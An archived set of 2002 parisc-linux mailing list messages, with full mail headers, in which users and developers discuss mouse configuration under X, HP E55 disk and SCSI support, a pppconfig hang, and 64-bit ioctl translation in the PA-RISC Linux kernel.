Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.12 #1 (Debian))
	id 17GyVo-0006nc-00; Sun, 09 Jun 2002 11:57:24 +0300
In-Reply-To: <Pine.LNX.4.44.0206051039560.1815-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15052

On Wed, 5 Jun 2002, M. Grabert wrote:

> On Tue, 4 Jun 2002, B. Douglas Hilton wrote:
>=20
> > Install Notes: "gpm" doesn't seem to work for me, although I
> > am running a Dexxa Optical Wheel Mouse through a KVM switch.
> > I just set X to "PS/2" and it worked ( but no mouse wheel ).
>=20
> Try ImPS/2 or ExplorerPS/2 instead and add a line
>=20
> Option "ZAxisMapping" "4 5"
>=20
> in the InputDevice Section

On my 712-60, I've had to call my mouse "ps2fu" in gpm.conf but enabling th=
e
same repeater didn't get X to use it.  Anyhow, the problem with fups2 is th=
at
every time I exit Gnome and X is restarted by gdm, the mouse in X no longer
works so I have to ctrl-alt-back kill X to reinitialize the mouse again.

Meanwhile, that same fups2 driver seems to work as expected on consoles and
never caused me any problem.

--=20
Martin-=C9ric Racine, Helsinki, Finland.
http://www.pp.fishpool.fi/~q-funk/
+358 41 474 0289




From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "b.gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712-60 XFree86 mouse driver problems
Date: Sun, 09 Jun 2002 15:54:08 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <3D035E00.7FBAF703__44191.3102091805$1416621382$gmane$org@web.de>
References: <Pine.LNX.4.21.0206091151160.26092-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621382 8626 80.91.229.3 (22 Nov 2014 01:56:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:22 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: =?iso-8859-1?Q?Martin=2D=C9ric?= Racine <q-funk@pp.fishpool.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  9 07:55:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.web.de (smtp02.web.de [217.72.192.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E991482C
	for <parisc-linux@parisc-linux.org>; Sun,  9 Jun 2002 07:55:22 -0600 (MDT)
Original-Received: from b-180-28-119.n.dial.de.ignite.net ([62.180.28.119] helo=web.de)
	by smtp.web.de with asmtp (WEB.DE(Exim) 4.60 #1)
	id 17H392-0004sQ-00; Sun, 09 Jun 2002 15:54:12 +0200
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15053

Martin-=C9ric Racine wrote: =

> On my 712-60, I've had to call my mouse "ps2fu" in gpm.conf but enablin=
g the
> same repeater didn't get X to use it.  Anyhow, the problem with fups2 i=
s that
> every time I exit Gnome and X is restarted by gdm, the mouse in X no lo=
nger
> works so I have to ctrl-alt-back kill X to reinitialize the mouse again=
=2E

There may be problems, if you run gpm while running X. You can try to swi=
tch of
gpm when running X. =


Another possibility is to use the gpm repeater for X as well. =

Try to change your X11 mouse configuration to the following one, and make=
 sure
gpm runs while using X.

Section "Pointer"
  Protocol              "MouseSystems"
  Device                "/dev/gpmdata"
  SampleRate            60
  BaudRate              1200
EndSection


Berthold



From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status Drivers for E55 or other - please answer ...
Date: Sun, 09 Jun 2002 23:17:46 +0200
Organization: private
Lines: 21
Approved: news@gmane.org
Message-ID: <3D03C5FA.60B74021@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621382 8632 80.91.229.3 (22 Nov 2014 01:56:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:22 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  9 15:17:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0920E482D
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Jun 2002 15:17:52 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020609211737.WEYL10704.viefep12-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 9 Jun 2002 23:17:37 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15054

Hello PA-RISC community,

What is the status of the drivers or hardware docu for the proprietary
interfaces of for example the E55 (9000/856).

Trying to use a 40GB disk on my E55 gives many problems now under HP-UX.
LVM will not accept this disk, doing a fs on the disk and mounting it,
is also not working (e.g. I/O errors....). I need LINUX !!

With friendly regards
Christoph P.



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: s-clarob@st-aidans.cumbria.sch.uk
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pppconfig & 24bit colour
Date: Mon, 10 Jun 2002 08:51:27 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020610084610.026cfc70@10.106.16.2>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed; charset=us-ascii
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621382 8636 80.91.229.3 (22 Nov 2014 01:56:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 01:55:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cleo0.lancs.ac.uk (unknown [212.219.207.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1B0C4831
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 01:55:15 -0600 (MDT)
Original-Received: from name1.st-aidans.cumbria.sch.uk ([212.219.204.44])
 by cleo0.lancs.ac.uk (Sun Internet Mail Server sims.4.0.1999.06.13.00.20)
 with ESMTP id <0GXH00D30CNX4D@cleo0.lancs.ac.uk> for
 parisc-linux@lists.parisc-linux.org; Mon, 10 Jun 2002 08:55:10 +0100 (BST)
Original-Received: from NETADMIN2.st-aidans.cumbria.sch.uk (s-clarob@[10.106.17.19])
	by name1.st-aidans.cumbria.sch.uk (8.9.3/8.9.3) with ESMTP id IAA32724	for
 <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 08:50:45 -0400
X-Sender: s-clarob@10.106.16.2
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15055

2 Quick questions,

1. Is it possible to get the 24bit colour recovery to work with 
PARISC-Linux on a 715/100 ?

2. when running pppconfig, the said 715/100 tries to detect the modem and 
then hangs. It's heartbeat goes out and it dumps some output top the sti ( 
not had a chance to write it down yet ). is there any known issues with 
either pppconfig or the serial drivers in relation to the 715?

Cheers

Rob




From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Pb with ioctl and 64bits
Date: Mon, 10 Jun 2002 16:52:50 +0200
Organization: H.P
Lines: 54
Approved: news@gmane.org
Message-ID: <3D04BD42.446D930@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------9EB8D9FE193EB5B2AA95E508"
X-Trace: ger.gmane.org 1416621383 8638 80.91.229.3 (22 Nov 2014 01:56:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:23 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 08:58:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6068F4832
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 08:58:16 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 617BB189
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 16:58:14 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id QAA23881 for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 16:57:07 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15056

This is a multi-part message in MIME format.
--------------9EB8D9FE193EB5B2AA95E508
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I'm loosing my nerves. I'm stuck with it since two days, and I don't understand :-(
My ioctls are running fine with 32bits kernel. I thought I've done everything fine,
but when compiling it with 64 bits kernel it fail with:
sys32_ioctl: Unknown cmd fd(3) cmd(80047001) arg(00000803)
So my question is: what is the difference between 32bits and 64bits kernel about
the ioctls ? 

I think that arch/parisc/kernel/ioctl32.c is used with 64bits and not with 32bits, right ?

If yes, what I need to do more than:
#if defined(CONFIG_DUMP) || defined(CONFIG_DUMP_MODULE)
COMPATIBLE_IOCTL(DIOSDUMPDEV);
COMPATIBLE_IOCTL(DIOGDUMPDEV);
COMPATIBLE_IOCTL(DIOSDUMPLEVEL);
COMPATIBLE_IOCTL(DIOGDUMPLEVEL);
COMPATIBLE_IOCTL(DIOSDUMPFLAGS);
COMPATIBLE_IOCTL(DIOGDUMPFLAGS);
COMPATIBLE_IOCTL(DIOSDUMPCOMPRESS);
COMPATIBLE_IOCTL(DIOGDUMPCOMPRESS);
COMPATIBLE_IOCTL(DIOGDINDEX);
#endif /* DUMP */

	thanks.
 
-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------9EB8D9FE193EB5B2AA95E508
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------9EB8D9FE193EB5B2AA95E508--




From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with ioctl and 64bits
Date: Mon, 10 Jun 2002 08:24:28 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20020610152428.GB5876@tausq.org>
References: <3D04BD42.446D930@admin.france.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621383 8641 80.91.229.3 (22 Nov 2014 01:56:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:23 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 09:24:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 109844833
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 09:24:35 -0600 (MDT)
Original-Received: (qmail 29418 invoked from network); 10 Jun 2002 15:24:33 -0000
Original-Received: from unknown (HELO gandalf.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <bruno?vidal@hpfrcu03.france.hp.com>; 10 Jun 2002 15:24:33 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 17HR1x-0004l9-00; Mon, 10 Jun 2002 08:24:29 -0700
Content-Disposition: inline
In-Reply-To: <3D04BD42.446D930@admin.france.hp.com>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15057

> I'm loosing my nerves. I'm stuck with it since two days, and I don't understand :-(
> My ioctls are running fine with 32bits kernel. I thought I've done everything fine,
> but when compiling it with 64 bits kernel it fail with:
> sys32_ioctl: Unknown cmd fd(3) cmd(80047001) arg(00000803)
> So my question is: what is the difference between 32bits and 64bits kernel about
> the ioctls ? 

as you discovered, there's some translation that is needed for 64-bit
kernels because userspace is always 32-bits. So when running a 64-bit
kernel, some ioctls need to be translated via the logic in ioctl32.c.
The situation is similar to sparc32/sparc64.

> I think that arch/parisc/kernel/ioctl32.c is used with 64bits and not with 32bits, right ?

yes.

> If yes, what I need to do more than:
> #if defined(CONFIG_DUMP) || defined(CONFIG_DUMP_MODULE)
> COMPATIBLE_IOCTL(DIOSDUMPDEV);
> COMPATIBLE_IOCTL(DIOGDUMPDEV);
> COMPATIBLE_IOCTL(DIOSDUMPLEVEL);
> COMPATIBLE_IOCTL(DIOGDUMPLEVEL);
> COMPATIBLE_IOCTL(DIOSDUMPFLAGS);
> COMPATIBLE_IOCTL(DIOGDUMPFLAGS);
> COMPATIBLE_IOCTL(DIOSDUMPCOMPRESS);
> COMPATIBLE_IOCTL(DIOGDUMPCOMPRESS);
> COMPATIBLE_IOCTL(DIOGDINDEX);
> #endif /* DUMP */

what are the ioctl definitions used by the dump driver? (the _IO{,R,W,RW}
values). From the output you pasted:

> sys32_ioctl: Unknown cmd fd(3) cmd(80047001) arg(00000803)

that ioctl seems to be _IOW('p', 1, int) (or unsigned int or so)?

randolph




From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Mon, 10 Jun 2002 22:04:09 +0200
Organization: private
Lines: 27
Approved: news@gmane.org
Message-ID: <3D050639.B9F9695D@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621383 8645 80.91.229.3 (22 Nov 2014 01:56:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:23 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 14:04:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id DFA024835
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 14:03:59 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020610200356.HNRF10704.viefep12-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 10 Jun 2002 22:03:56 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15058

Hello to all !

Is the HP E55 SCSI controller a HP SPIFI ?
I found that on the mailing archive ...
Is this correct ?

Further I found out, that NetBSD has one HP SPIFI SCSI driver ?
Does anyone know, if this driver can help use for the E55 or
similar machines.

The driver is in the file:
     ./syssrc/sys/arch/newsmips/apbus/spifi.c 
and
     ./syssrc/sys/arch/newsmips/apbus/spifireg.h

Answer is welcome

Christoph


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 712-60 XFree86 mouse driver problems
Date: Mon, 10 Jun 2002 14:33:32 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20020610203332.77E1F4838__20348.6474151307$1416621384$gmane$org@dsl2.external.hp.com>
References: <Pine.LNX.4.21.0206091151160.26092-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621384 8647 80.91.229.3 (22 Nov 2014 01:56:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:24 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 14:33:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 77E1F4838; Mon, 10 Jun 2002 14:33:32 -0600 (MDT)
In-Reply-To: Message from =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi> 
   of "Sun, 09 Jun 2002 11:57:24 +0300." <Pine.LNX.4.21.0206091151160.26092-100000@hal.pp.fishpool.fi> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15059

=?iso-8859-1?Q?Martin-=C9ric_Racine?= wrote:
> Anyhow, the problem with fups2 is that
> every time I exit Gnome and X is restarted by gdm, the mouse in X no longer
> works so I have to ctrl-alt-back kill X to reinitialize the mouse again.

I had the same problem with B180 or C3000.
Unfortunately I don't recall which.

But since gdm is one of the first things I remove, it doesn't bother me.

grant



From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pppconfig & 24bit colour
Date: Mon, 10 Jun 2002 14:38:15 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20020610203815.8349B380D5@carmen.fc.hp.com>
References: <5.1.0.14.0.20020610084610.026cfc70@10.106.16.2>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621384 8652 80.91.229.3 (22 Nov 2014 01:56:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: s-clarob@st-aidans.cumbria.sch.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 14:38:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 788304840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 14:38:18 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp2.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 5A379902; Mon, 10 Jun 2002 16:38:17 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
